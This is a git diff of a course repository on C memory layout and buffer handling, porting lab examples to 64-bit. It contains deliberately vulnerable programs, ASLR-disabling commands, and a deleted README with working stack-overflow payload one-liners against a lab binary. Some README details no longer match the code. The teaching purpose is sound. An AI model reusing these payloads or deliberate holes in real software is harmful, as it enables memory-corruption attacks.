diff --git a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/Makefile b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/Makefile index ac74253e..2703345a 100644 --- a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/Makefile +++ b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -W -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-variable -Wno-unused-function -Wno-unused-const-variable -LDFLAGS = -no-pie -m32 +CFLAGS = -Wall -W -g -fno-PIC -fno-stack-protector -Wno-unused-variable -Wno-unused-function -Wno-unused-const-variable +LDFLAGS = -no-pie .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/README.md b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/README.md index 5920003c..ad4faf09 100644 --- a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/README.md +++ b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/README.md @@ -1,17 +1,24 @@ -1. linker error: anas are implicitly global, no problem with stanas. How to fix? +1. Linker error: `ana` is implicitly global in both translation units. Fix by adding `static`. -2. `nm sections | grep an ` -Notice several variables with the same name. How is the linker resolving? +2. `nm sections | grep an` + Notice several variables with the same name. How is the linker resolving? + Addresses are now 64-bit (16 hex digits). Example output: -0804c020 d ana -0804c02c D ana -0804c02e d bogdan -0804c022 D bogdan -0804c024 d dan -0804c01c D __dso_handle -0804a00c r stan -0804c034 b stana -0804c03c b stana + 0000000000404030 d ana + 0000000000404040 D ana + 0000000000404042 d bogdan + 0000000000404038 D bogdan + 000000000040403c d dan + 0000000000404020 D __dso_handle + 0000000000402010 r stan + 0000000000404048 b stana + 0000000000404050 b stana + + (exact addresses will vary; use `nm sections | sort` to see layout) + +3. Explain both values for `bogdan`. Why does the linker pick one over the other? + +4. Compare section placement using `readelf -S sections` and `objdump -t sections`. + Note that 64-bit ELF sections are at higher addresses than 32-bit ELF. -3. explain both values for bogdan diff --git a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/helper.c b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/helper.c index 56f7811d..4604270f 100644 --- a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/helper.c +++ b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/helper.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include static int stana; diff --git a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/sections.c b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/sections.c index 5f1a5dfe..0aefdd36 100644 --- a/curs/chap-09-gestiune-buffere/00-symbols-in-sections/sections.c +++ b/curs/chap-09-gestiune-buffere/00-symbols-in-sections/sections.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include unsigned short int ana = 1; @@ -28,7 +29,7 @@ int main(void) unsigned int my; static unsigned int local; printf("ana = %d bogdan = %d\n", ana, bogdan); - + h(); return 0; diff --git a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/Makefile b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/Makefile index b724abe7..b1a6ad78 100644 --- a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/Makefile +++ b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = -no-pie .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/README.md b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/README.md index e0ebb8ec..d592504a 100644 --- a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/README.md +++ b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/README.md @@ -2,15 +2,15 @@ * buffer-in-struct.c - members in struct are at consecutive addresses -* buffer-in-struct-all.c +* buffer-in-struct-all.c - that is true for data declared: 1. on the stack, 2. in .bss, 3. in .data 4. on heap - - verify using objdump -x buffer_in_struct_all.o + - verify using objdump -x buffer_in_struct_all.o - c_data in .data; c_bss in .bss - - where is c? + - where is c? - where is c_heap? - where is *c_heap? - + * buffer_instruct_func.c - the same as buffer_in_struct_all.c - - + + diff --git a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct.c b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct.c index d2bcbee9..c13de458 100644 --- a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct.c +++ b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include struct container { @@ -11,7 +12,7 @@ int main(void) { struct container c; /* - c.id and c.type are on the stack which grows downwards, + c.id and c.type are on the stack which grows downwards, but id, items and type are at consecutive addresses. */ c.id = 1; diff --git a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all.c b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all.c index 0a1f53a8..455c5d11 100644 --- a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all.c +++ b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include #include diff --git a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all_func.c b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all_func.c index 7cbb3cc7..0b54640c 100644 --- a/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all_func.c +++ b/curs/chap-09-gestiune-buffere/01-buffer-in-struct/buffer_in_struct_all_func.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include #include diff --git a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/Makefile b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/Makefile index 6d3a9545..2b6216a2 100644 --- a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/Makefile +++ b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/README.md b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/README.md index 9ebf6a7c..95ff1214 100644 --- a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/README.md +++ b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/README.md @@ -1,20 +1,20 @@ * global_buffer.c - Q: buf, type, and length are at consecutive locations... are they? + Q: buf, type, and length are at consecutive locations... are they? A: type and length are in .data, buf is in .bss $ nm ./global_buffer | sort - + * stack_buffer.c - stack grows down, addresses grow up (textbook/slides picture) - &type == &buf[32]; &length == &buf[33] - &buf[34] == old EBP, &buf[35] == return somewhere outside main(), ... - + * stack_buffer_char.c - stack grows down, addresses grow up (textbook/slides picture) - buf has 9 bytes, type and length 4 bytes each - buf[9] == lsb of type; type < 256 => other bytes of type are 0 - - buf[13] == lsb of length . . . + - buf[13] == lsb of length . . . - buf[10] == sencond byte of type (little endian "lsb at lower address") - 55D = 0x47, type becomes 0x470B = 55*256 + 11 = 14091 - watch the addresses of the variables on the stack - 4 aligned where possible - + diff --git a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/global_buffer.c b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/global_buffer.c index fa82b951..74e9083f 100644 --- a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/global_buffer.c +++ b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/global_buffer.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include static unsigned int buf[32]; @@ -13,7 +14,7 @@ int main(void) { printf("buf[-16]: %u, buf[-17]: %u\n", buf[-16], buf[-17]); printf("type: %u, length: %u\n", type, length); - + // compute actual offsets based on nm output in case of segfault buf[-12] = 5555; buf[-13] = 6666; printf("type: %u, length: %u\n", type, length); diff --git a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer.c b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer.c index f09afd0d..69913ff7 100644 --- a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer.c +++ b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include int main(void) diff --git a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer_char.c b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer_char.c index 065c3c12..28768548 100644 --- a/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer_char.c +++ b/curs/chap-09-gestiune-buffere/02-c-buffer-and-data/stack_buffer_char.c @@ -1,12 +1,13 @@ +// SPDX-License-Identifier: BSD-3-Clause #include int main(void) { - /* - compiler allocates these variables on the stack - in the declared order: 4 bytes for length, 4 bytes - for type, 9 bytes for buf... - */ + /* + * compiler allocates these variables on the stack + * in the declared order: 4 bytes for length, 4 bytes + * for type, 9 bytes for buf... + */ unsigned int length = 22; unsigned int type = 11; unsigned char buf[9]; @@ -22,6 +23,6 @@ int main(void) printf("type: %u, length: %u\n", type, length); printf("length: %p, type: %p , buf: %p, i: %p\n", &length, &type, &buf, &i); - + return 0; } diff --git a/curs/chap-09-gestiune-buffere/03-memory-disclosure/Makefile b/curs/chap-09-gestiune-buffere/03-memory-disclosure/Makefile index 8c974308..c22c0b47 100644 --- a/curs/chap-09-gestiune-buffere/03-memory-disclosure/Makefile +++ b/curs/chap-09-gestiune-buffere/03-memory-disclosure/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/03-memory-disclosure/README.md b/curs/chap-09-gestiune-buffere/03-memory-disclosure/README.md index 33f93c3b..bf66e709 100644 --- a/curs/chap-09-gestiune-buffere/03-memory-disclosure/README.md +++ b/curs/chap-09-gestiune-buffere/03-memory-disclosure/README.md @@ -1,17 +1,16 @@ -* memory_disclosure.c - - show the stack, identify all elements +* memory_disclosure.c + - show the stack, identify all elements - run several times, explain the similarities & differences - - disable aslr #echo 0 > /proc/sys/kernel/randomize_va_space - - enable aslr #echo 2 > /proc/sys/kernel/randomize_va_space - - prove that buf[6] is the return address (objdump -d) - - prove that buf[5] is old EBP (gdb, b main, r, p/x $ebp) + - disable aslr #echo 0 > /proc/sys/kernel/randomize_va_space + - enable aslr #echo 2 > /proc/sys/kernel/randomize_va_space + - prove that buf[6] is the return address (objdump -d) + - prove that buf[5] is old RBP (gdb, b main, r, p/x $rbp) -* reader.c +* reader.c - practice reading values from the stack - 0..6, the same as in previous example (memory_disclosure.c) - - what is at buf[-1] ? local variable index - - what is at buf[-2] ? (freed stack, old param for read_int) - - what is at buf[-3] ? return location after read_int - - what is at buf[-4] ? my current EBP(in disclose_target) - prove it; prove it without gdb! - - what is at buf[-12]? 0, '2', '1', '-' + - what is at buf[-1] + - what is at buf[-2] + - what is at buf[-3] + - what is at buf[-4] - homework: call disclosure_target from another f(), and find variables of f() diff --git a/curs/chap-09-gestiune-buffere/03-memory-disclosure/memory_disclosure.c b/curs/chap-09-gestiune-buffere/03-memory-disclosure/memory_disclosure.c index 3af92a84..12d47881 100644 --- a/curs/chap-09-gestiune-buffere/03-memory-disclosure/memory_disclosure.c +++ b/curs/chap-09-gestiune-buffere/03-memory-disclosure/memory_disclosure.c @@ -1,20 +1,23 @@ +// SPDX-License-Identifier: BSD-3-Clause #include +#include -static void disclosure_target(unsigned int a, unsigned int b) +static void disclosure_target(uint64_t a, uint64_t b) { size_t i; - unsigned int buf[4]; + uint64_t buf[4]; for (i = 0; i < 4; i++) - buf[i] = i * i * i; + buf[i] = (uint64_t)i * i * i; - for (i = 10; i != 0; i--) - printf("buf[%02u] (address: %p) = 0x%08x\n", i, &buf[i], buf[i]); + /* Walk backward from buf[9] to buf[1] to reveal the stack frame. */ + for (i = 9; i != 0; i--) + printf("buf[%02zu] (address: %p) = 0x%016lx\n", i, &buf[i], buf[i]); } int main(void) { - /* practically a textbook drawing of the stack */ - disclosure_target(0xaabbccdd, 0x55667788); + /* The arguments are passed in RDI and RSI (64-bit calling convention). */ + disclosure_target(0xaabbccddaabbccddUL, 0x5566778855667788UL); return 0; } diff --git a/curs/chap-09-gestiune-buffere/03-memory-disclosure/reader.c b/curs/chap-09-gestiune-buffere/03-memory-disclosure/reader.c index 2d0a3dd1..1b79db7c 100644 --- a/curs/chap-09-gestiune-buffere/03-memory-disclosure/reader.c +++ b/curs/chap-09-gestiune-buffere/03-memory-disclosure/reader.c @@ -1,9 +1,10 @@ +// SPDX-License-Identifier: BSD-3-Clause #include #include #include -#include +#include -static int read_int(int *out) +static int read_long(long *out) { char buffer[32]; char *endptr; @@ -22,27 +23,27 @@ static int read_int(int *out) return 0; } -static void disclosure_target(unsigned int a, unsigned int b) +static void disclosure_target(uint64_t a, uint64_t b) { size_t i; - unsigned int buf[4]; + uint64_t buf[4]; for (i = 0; i < 4; i++) - buf[i] = i * i * i; + buf[i] = (uint64_t)i * i * i; while (1) { - int index; + long index; printf("Index to disclose: "); fflush(stdout); - if (read_int(&index) < 0) { + if (read_long(&index) < 0) { fprintf(stderr, "Invalid index read. Exiting.\n"); break; } - printf("buf[%d] (address: %p) = 0x%08x\n", index, &buf[index], buf[index]); + printf("buf[%ld] (address: %p) = 0x%016lx\n", index, &buf[index], buf[index]); } } int main(void) { - disclosure_target(0xaabbccdd, 0x55667788); + disclosure_target(0xaabbccddaabbccddUL, 0x5566778855667788UL); return 0; } diff --git a/curs/chap-09-gestiune-buffere/04-main-stack/Makefile b/curs/chap-09-gestiune-buffere/04-main-stack/Makefile index 75a799bf..0bacf91e 100644 --- a/curs/chap-09-gestiune-buffere/04-main-stack/Makefile +++ b/curs/chap-09-gestiune-buffere/04-main-stack/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = -no-pie .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/04-main-stack/main_stack.c b/curs/chap-09-gestiune-buffere/04-main-stack/main_stack.c index 969ea0ed..d78f7fbb 100644 --- a/curs/chap-09-gestiune-buffere/04-main-stack/main_stack.c +++ b/curs/chap-09-gestiune-buffere/04-main-stack/main_stack.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include #include #include diff --git a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/Makefile b/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/Makefile deleted file mode 100644 index 03b46a29..00000000 --- a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie - -.PHONY: all clean - -all: writer - -writer: writer.o - -writer.o: writer.c - -clean: - -rm -f writer writer.o - -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/writer.c b/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/writer.c deleted file mode 100644 index 62f76c04..00000000 --- a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/writer.c +++ /dev/null @@ -1,91 +0,0 @@ -#include -#include -#include -#include - -static int read_int(int *out) -{ - char buffer[32]; - char *endptr; - - fgets(buffer, 32, stdin); - if (buffer[strlen(buffer)-1] == '\n') - buffer[strlen(buffer)-1] = '\0'; - - if (buffer[0] == '\0') - return -1; - - if(strncmp(buffer, "0x", 2) == 0) - *out = strtol(buffer, &endptr, 16); - else - *out = strtol(buffer, &endptr, 10); - if (*endptr != '\0') - return -1; - - return 0; -} - -void hidden_function(void) -{ - printf("Well done, you called me.\n"); - exit(EXIT_SUCCESS); -} - -void secret_function(unsigned int a, unsigned int b) -{ - if (a == 0x42424242 && b == 0x6a6a6a6a) - printf("pwned! Aw3s0m3 sk1llz!\n"); - exit(EXIT_SUCCESS); -} - -void stealth_function(unsigned int a, unsigned int b) -{ - if (a != 0x42424242 || b != 0x6a6a6a6a){ - exit(2); - } - printf("called stealth function\n"); -} - -static void disclosure_target(unsigned int a, unsigned int b) -{ - size_t i; - unsigned int buf[4]; - - for (i = 0; i < 4; i++) - buf[i] = i * i * i; - - while (1) { - int index; - printf("Index to disclose: "); fflush(stdout); - if (read_int(&index) < 0) { - fprintf(stderr, "Invalid index read. Ending.\n"); - break; - } - printf("buf[%d] (address: %p) = 0x%08x\n", index, &buf[index], buf[index]); - } - - while (1) { - int index; - int value; - printf("Index to overwrite: "); fflush(stdout); - if (read_int(&index) < 0) { - fprintf(stderr, "Invalid index read. Ending.\n"); - break; - } - printf("Value to overwrite: "); fflush(stdout); - if (read_int(&value) < 0) { - fprintf(stderr, "Invalid value read. Ignoring.\n"); - continue; - } - buf[index] = value; - } - - printf("i = %u\n", i); -} - -int main(void) -{ - disclosure_target(0xaabbccdd, 0x55667788); - printf("exit to shell\n"); - return 1; -} diff --git a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/.gitignore b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/.gitignore similarity index 100% rename from curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/.gitignore rename to curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/.gitignore diff --git a/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/Makefile b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/Makefile new file mode 100644 index 00000000..b0eb32c1 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = -no-pie + +.PHONY: all clean + +all: writer + +writer: writer.o + +writer.o: writer.c + +clean: + -rm -f writer.o writer + -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/README.md b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/README.md similarity index 68% rename from curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/README.md rename to curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/README.md index 86a91bd0..3938b778 100644 --- a/curs/chap-09-gestiune-buffere/04-out-of-bounds-writer/README.md +++ b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/README.md @@ -2,32 +2,30 @@ * recognize features of example 03 * identify values at buffer[0]..buffer[8] -* program has two stages: read indexes of buffer, overwrite indexes of buffer - - accepts values in dec/hex +* program has two stages: read indexes of buffer, overwrite indexes of buffer + - accepts values in dec/hex - $ printf "%d" 0x08048661 - - watch exit code - - $ ./writer; echo $? - - the only way to exit with success (exit code 0) + - watch exit code + - $ ./writer; echo $? + - the only way to exit with success (exit code 0) is through the hidden/secret functions * goal1: exit with success -* overwrite return address +* overwrite return address * call hidden_function -* goal2: exit with success, and get "awsome skills" message -* goal3: exit normally through main, but call stealth function stealthily - -$ identify addresses with objdump + +$ identify addresses with objdump hidden_func = 0x08048661 = 134514273 secret_func = 0x04048678 = 134514296 stealth_func = 0x080492b4 = 134517428 * return address at buf[6] = 0x08049436 = 134517814 -* call hidden_function +* call hidden_function - overwrite with 134514273, harvest hurrays (goal1) * call secret_function - overwrite with 134514296, harvest hurrays, but no awsome skills? - buf[6]=134514296 buf[8]=1111638594 buf[9]=1785358954 (goal2) why not buf[7] and buf[8]? * call stealth_function, prepare stack so that execution continues normally - and returns to main + and returns to main - buf[6]=134514296 buf[7]=134517814 buf[8]=1111638594 buf[9]=1785358954 (goal3) - - at buf[7] we write old value from buf[6], that is, return point in main() + - at buf[7] we write old value from buf[6], that is, return point in main() diff --git a/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/writer.c b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/writer.c new file mode 100644 index 00000000..05b56075 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/05-out-of-bounds-writer/writer.c @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include +#include + +static int read_long(long *out) +{ + char buffer[32]; + char *endptr; + + fgets(buffer, 32, stdin); + if (buffer[strlen(buffer)-1] == '\n') + buffer[strlen(buffer)-1] = '\0'; + + if (buffer[0] == '\0') + return -1; + + if (strncmp(buffer, "0x", 2) == 0) + *out = strtol(buffer, &endptr, 16); + else + *out = strtol(buffer, &endptr, 10); + if (*endptr != '\0') + return -1; + + return 0; +} + +void hidden_function(void) +{ + printf("Well done, you called me.\n"); + exit(EXIT_SUCCESS); +} + +static void disclosure_target(uint64_t a, uint64_t b) +{ + size_t i; + uint64_t buf[4]; + + for (i = 0; i < 4; i++) + buf[i] = (uint64_t)i * i * i; + + /* Phase 1 – arbitrary read: explore the stack frame. */ + while (1) { + long index; + + printf("Index to disclose: "); fflush(stdout); + if (read_long(&index) < 0) { + fprintf(stderr, "Invalid index. Ending read phase.\n"); + break; + } + printf("buf[%ld] (address: %p) = 0x%016lx\n", + index, &buf[index], buf[index]); + } + + /* Phase 2 – arbitrary write: overwrite any stack slot. */ + while (1) { + long index; + long value; + + printf("Index to overwrite: "); fflush(stdout); + if (read_long(&index) < 0) { + fprintf(stderr, "Invalid index. Ending write phase.\n"); + break; + } + printf("Value to overwrite: "); fflush(stdout); + if (read_long(&value) < 0) { + fprintf(stderr, "Invalid value. Ignoring.\n"); + continue; + } + buf[index] = (uint64_t)value; + } + + printf("i = %zu\n", i); +} + +int main(void) +{ + disclosure_target(0xaabbccddaabbccddUL, 0x5566778855667788UL); + printf("exit to shell\n"); + return 1; +} diff --git a/curs/chap-09-gestiune-buffere/05-no-null-byte/.gitignore b/curs/chap-09-gestiune-buffere/06-no-null-byte/.gitignore similarity index 100% rename from curs/chap-09-gestiune-buffere/05-no-null-byte/.gitignore rename to curs/chap-09-gestiune-buffere/06-no-null-byte/.gitignore diff --git a/curs/chap-09-gestiune-buffere/05-no-null-byte/Makefile b/curs/chap-09-gestiune-buffere/06-no-null-byte/Makefile similarity index 55% rename from curs/chap-09-gestiune-buffere/05-no-null-byte/Makefile rename to curs/chap-09-gestiune-buffere/06-no-null-byte/Makefile index 5dc95fc7..9cf26e9d 100644 --- a/curs/chap-09-gestiune-buffere/05-no-null-byte/Makefile +++ b/curs/chap-09-gestiune-buffere/06-no-null-byte/Makefile @@ -1,5 +1,5 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = -no-pie .PHONY: all clean diff --git a/curs/chap-09-gestiune-buffere/05-no-null-byte/no_null_byte.c b/curs/chap-09-gestiune-buffere/06-no-null-byte/no_null_byte.c similarity index 64% rename from curs/chap-09-gestiune-buffere/05-no-null-byte/no_null_byte.c rename to curs/chap-09-gestiune-buffere/06-no-null-byte/no_null_byte.c index 7c840f41..8a9a81d9 100644 --- a/curs/chap-09-gestiune-buffere/05-no-null-byte/no_null_byte.c +++ b/curs/chap-09-gestiune-buffere/06-no-null-byte/no_null_byte.c @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: BSD-3-Clause #include #include #include @@ -16,12 +17,12 @@ static void see_beyond(const char *s) printf("buffer is #%s#\n", buffer); } -/* - - What are the consequences of accepting any strings? - - What are the consequences of returning/printing unchecked buffers? - - ./no_null_byte $(python3 -c 'print(32*"A")')| hexdump -vC - +/* + * - What are the consequences of accepting any strings? + * - What are the consequences of returning/printing unchecked buffers? + * + * ./no_null_byte $(python3 -c 'print(32*"A")')| hexdump -vC + * */ int main(int argc, char **argv) { diff --git a/curs/chap-09-gestiune-buffere/07-buffer-overflow/Makefile b/curs/chap-09-gestiune-buffere/07-buffer-overflow/Makefile deleted file mode 100644 index 4302536c..00000000 --- a/curs/chap-09-gestiune-buffere/07-buffer-overflow/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie - -.PHONY: all clean - -all: vuln - -vuln: vuln.o - -vuln.o: vuln.c - -clean: - -rm -f vuln vuln.o - -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/07-buffer-overflow/README b/curs/chap-09-gestiune-buffere/07-buffer-overflow/README deleted file mode 100644 index 5e5167e6..00000000 --- a/curs/chap-09-gestiune-buffere/07-buffer-overflow/README +++ /dev/null @@ -1,119 +0,0 @@ -# We use the IOCLA virtual machine. - -# We compile the executables. -$ make -cc -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -c -o vuln.o vuln.c -cc -m32 -no-pie vuln.o -o vuln - -# We determine the function and variable addresses in the executable. -$ nm ./vuln -[...] -08049215 T main -080491a7 t secret_func -0804a008 r secret_message -08049182 t secret_param_func -[...] - -# secret_func is at address 0x080491a7 -# secret_param_func is at address 0x08049182 -# secret_message is at address 0x0804a008 - -# We disassemble the object file to determine the buffer offset. -$ objdump -d -Mintel vuln.o - - -bo_exploit.obj: file format pe-i386 - - -Disassembly of section .text: - -00000000 : - 0: 55 push ebp - 1: 89 e5 mov ebp,esp - 3: 81 7d 08 78 56 34 12 cmp DWORD PTR [ebp+0x8],0x12345678 - a: 75 16 jne 22 - c: 81 7d 0c 01 ef cd ab cmp DWORD PTR [ebp+0xc],0xabcdef01 - 13: 75 0d jne 22 - 15: 68 20 00 00 00 push 0x20 - 1a: e8 fc ff ff ff call 1b - 1f: 83 c4 04 add esp,0x4 - 22: 90 nop - 23: c9 leave - 24: c3 ret - -00000025 : - 25: 55 push ebp - 26: 89 e5 mov ebp,esp - 28: 68 34 00 00 00 push 0x34 - 2d: e8 fc ff ff ff call 2e - 32: 83 c4 04 add esp,0x4 - 35: 90 nop - 36: c9 leave - 37: c3 ret - -00000038 : - 38: 55 push ebp - 39: 89 e5 mov ebp,esp - 3b: 83 ec 44 sub esp,0x44 - 3e: c7 45 fc 42 42 42 42 mov DWORD PTR [ebp-0x4],0x42424242 - 45: 68 42 00 00 00 push 0x42 - 4a: e8 fc ff ff ff call 4b - 4f: 83 c4 04 add esp,0x4 - 52: a1 00 00 00 00 mov eax,ds:0x0 - 57: 50 push eax - 58: 68 80 00 00 00 push 0x80 - 5d: 8d 45 bc lea eax,[ebp-0x44] - 60: 50 push eax - 61: e8 fc ff ff ff call 62 - 66: 83 c4 0c add esp,0xc - 69: 8d 45 bc lea eax,[ebp-0x44] - 6c: 50 push eax - 6d: 68 5e 00 00 00 push 0x5e - 72: e8 fc ff ff ff call 73 - 77: 83 c4 08 add esp,0x8 - 7a: 81 7d fc 5a 5a 5a 5a cmp DWORD PTR [ebp-0x4],0x5a5a5a5a - 81: 75 0d jne 90 - 83: 68 72 00 00 00 push 0x72 - 88: e8 fc ff ff ff call 89 - 8d: 83 c4 04 add esp,0x4 - 90: 90 nop - 91: c9 leave - 92: c3 ret - -00000093
: - 93: 55 push ebp - 94: 89 e5 mov ebp,esp - 96: 68 84 00 00 00 push 0x84 - 9b: e8 fc ff ff ff call 9c - a0: 83 c4 04 add esp,0x4 - a3: e8 90 ff ff ff call 38 - a8: b8 00 00 00 00 mov eax,0x0 - ad: c9 leave - ae: c3 ret - -# buffer is at ebp-0x44 -# local variable is at ebp-0x4 -# return address is at ebp+4 -# variable offset is 0x44-0x4 = 0x40 -# return address offset is 0x44+4 = 0x48 - - -# We use the Python exploit scripts to determine each exploit. - -# Overwrite the local variable. Print message "Comm-link online." -python3 payload_local_var.py | ./vuln -python3 -c 'import os; os.write(1, 0x40*b"A" + b"\x5a\x5a\x5a\x5a")' | ./vuln - -# Overwrite return address. Print message "Channel open." -# nm vuln +> & of secret func is 0x080491a7 -python3 payload_secret_func.py | ./vuln -python3 -c 'import os; os.write(1, 0x48*b"A" + b"\xa7\x91\x04\x08")' | ./vuln - -# Overwrite return address with function parameters. Print message "Systems functional." -# get &secret_param_func from nm vuln| grep func -python3 payload_secret_param_func.py | ./vuln -python3 -c 'import os; os.write(1, 0x48*b"A" + b"\x82\x91\x04\x08" + 0x04*b"B" + b"\x78\x56\x34\x12" + b"\x01\xef\xcd\xab")'| ./vuln - -# Print secret_message by overwriting with address of puts() function. Print message "Acknowledged H.Q." -python3 payload_secret_message.py | ./vuln -python3 -c 'import os; os.write(1, 0x48*b"A" + b"\x50\x90\x04\x08" + 0x04*b"B" + b"\x08\xa0\x04\x08")' | ./vuln diff --git a/curs/chap-09-gestiune-buffere/07-buffer-overflow/payload_local_var.py b/curs/chap-09-gestiune-buffere/07-buffer-overflow/payload_local_var.py deleted file mode 100644 index 59b87c55..00000000 --- 